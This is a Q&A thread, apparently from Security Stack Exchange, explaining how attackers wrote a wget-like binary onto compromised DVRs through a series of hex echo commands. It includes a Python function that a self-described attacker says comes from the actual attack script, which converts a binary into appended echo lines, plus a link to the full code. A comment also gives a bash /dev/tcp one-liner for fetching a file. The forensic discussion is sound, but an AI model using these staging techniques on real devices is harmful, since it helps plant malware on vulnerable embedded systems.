28

On this ISC article on DVR compromise the author talks about the compromise of an embedded system. In particular, the attacker executes a series of echo commands on the remote host, and:

This DVR has no "upload" feature. There is no wget nor is there an ftp or telnet client.

...

The first echo writes 51 bytes to "/var/run/rand0-btcminer-arm" and the second echo returns "done", indicating that the system is ready for the next echo command.

Unlike the name implies, "rand0-btcminer-arm" is not a bitcoin miner. Instead, it just appears to be a version of "wget".

I do not understand how could even the basic fundamentals of wget fit in 51 bytes. The article contains a packet dump, so I guess I could write it to file and try to reverse engineer the binary but I suspect there's something else going on here.

Could anyone help me understand how is this happening? Is the "binary" doing a library call to network functionalities?

Adi
  • 43,808
  • 16
  • 135
  • 167
lorenzog
  • 1,911
  • 11
  • 18

4 Answers4

33

The author had made the mistake of being ambiguous and confused the readers a bit. I must admit, like you, I was confused at first, until I saw the PCAP dump.

First of all, the box indeed doesn't have wget

enter image description here

The attacker didn't use that one echo statement, he used a series of echo statements. I counted about 107 echo statements progressively building the executable rand0-btcminer-arm. At about 50 bytes each, that's about 5350 bytes. Way more than enough to achieve a simple HTTP download.

Here's a snippet of them (highlighted in red):

enter image description here

Adi
  • 43,808
  • 16
  • 135
  • 167
  • 1
    Excellent answer. Thank you - indeed I assumed that nothing followed the first wget. Would you mind editing your answer to print out what did you use to see the pcap dump? Seems to me you've used wireshark - did you specify any particular option? – lorenzog May 05 '14 at 17:58
  • @lorenzog Nothing fancy. I actually just right-clicked on the .pcap file and chose "Open with..." and then chose Wireshark. – Adi May 05 '14 at 18:05
  • Fair enough :) I did not even bother trying, having assumed the next step would be reverse engineering a binary. Thank you again – lorenzog May 05 '14 at 18:07
19

I'm the guy who wrote the code which compromises the dvrs, and as said above, there is a script which simply connects and "echo"s the binary into a file, where it can be executed. As we are only echoing the raw bytes into the file and also excluding any new lines (-n), the result is an identical file. You can generate a set of the echo lines yourself by using the function which is used in the attack script.

#get a list of echo commands we need to run
#by iterating through a file and converting sections of bytes (50 a time)
#into hex and then putting them into an echo -ne 'HEX' line
#additionally, we write \\x64\\x6f\\x6e\\x65 (ascii: done) which will allow us to verify that worked after
def getEchoList(localName, outputName, location):
    with open(localName, "rb") as f:
        converted = None
        result = []
        byte = f.read(1)
        i = 0
        current = ""

        while byte != "":
            if i == 51:
                i = 0
                result.append("echo -ne '%s' >> %s/%s && echo -e '\\x64\\x6f\\x6e\\x65'" % (current, location, outputName))
                current = ""
            current = current + "\\x"+byte.encode("hex")
            byte = f.read(1)
            i = i + 1

        if len(current) > 0:
            i = 0
            result.append("echo -ne '%s' >> %s/%s && echo -e '\\x64\\x6f\\x6e\\x65'" % (current, location, outputName))
            current = ""
        return result

list = getEchoList("some-binary", "to-echo-to", "/var/run")
for line in list:
    print(line)

Obviously this code is horrible, but it's what we were using. The reason we can't do open('/dev/tcp/IP/port') is because the dvrs dont run bash, and I think that's built into bash. The dvrs have a minimal busybox environment, with no wget, ftpget, or any other real way of getting files on there, as the post states. Full code available at http://pastebin.com/s41eE1nM

Retsam Tob
  • 191
  • 2
5

I am the author of the post, and indeed, "1" is correct. The easiest way to find all the packets that make up the "wget" upload is the wireshark filter "tcp.stream eq 1" (see link in original article for the pcap).

The just "follow TCP stream" and filter the part from 142.0.45.42 to 192.168.1.100.

"Save as" (raw) and you got a text file with the content.

the edit the file in your favorite text editor and remove the lines that lead to the series of "echoes" as well as the couple lines at the end that run the commands.

replace "/var/run" with "/tmp"

run the script on a (throwaway) linux system... voila you end up with the binary

$ md5 rand0-btcminer-arm
MD5 (rand0-btcminer-arm) = d1232ef223445276fe5f0f854358f021
$ file rand0-btcminer-arm
rand0-btcminer-arm: ELF 32-bit LSB executable, ARM, version 1, dynamically linked (uses shared libs), stripped

The reason I call it "wget" is that it uses the Wget user agent:

$ strings rand0-btcminer-arm  |grep Wget
User-Agent: Wget
d33tah
  • 6,524
  • 8
  • 38
  • 60
dr. j.
  • 51
  • 1
  • Thanks for the clarification. I took the liberty of asking here instead that commenting on the blog for ease of search and hoping to leave something back to the community. Good luck with the rest of your research :) – lorenzog May 05 '14 at 18:27
  • Hey, Johannes. Thanks for following up on your post here. Any theories on why the executable is that big? If I recall correctly, one can easily `open('/dev/tcp/IP/port')`, send a `GET URL` in that stream, and then save the body of the response to a file. Last time I did that it took about 800 bytes of shellcode (I suppose it can be made a bit smaller, but I'm not that good with shellcode). – Adi May 05 '14 at 18:38
  • 1
    Hi Johannes, I don't know if you noticed but the author of another answer claims to be the person who wrote the code that compromised your system. – lorenzog May 06 '14 at 08:09
  • @Adnan: One cannot open() that file, but one can redirect to it **within `bash`**, which has special magic to convert redirects from/to those paths into a connect() call. A short version would be `(echo -e "GET $path HTTP/1.0\r\nHost: $host\r\n\r\n">&0;sed '1,/^\r$/d')&0;sed '1,/^\r$/d') – user1686 May 06 '14 at 21:40
  • @grawity Very well, thanks for the explanation. I must have used `socket()` and `connect()` when I did it with about 800 bytes. – Adi May 07 '14 at 04:12
  • @grawity The wget used is a light-ish version of the busybox wget with a bunch of features removed. The busybox version it was grabbed from is very old, and the resulting file was about 5k if I remember correctly. – Retsam Tob May 08 '14 at 23:19
4

The example in the article is just one of many echo statements that are used to progressively build the file. Because it uses the >> redirection operator, it does not clobber the existing contents of the file but appends to it instead.

Quoting from the article:

Turns out that the attacker appears to use a wrapper script that uses a series of "echo" commands to upload the initial binary.

bonsaiviking
  • 11,316
  • 1
  • 27
  • 50
  • You're right, I had misread the article when he said "uses a series of echo commands" and assumed that after the first `echo` the `wget` would have been functional (see my original quote). – lorenzog May 05 '14 at 18:06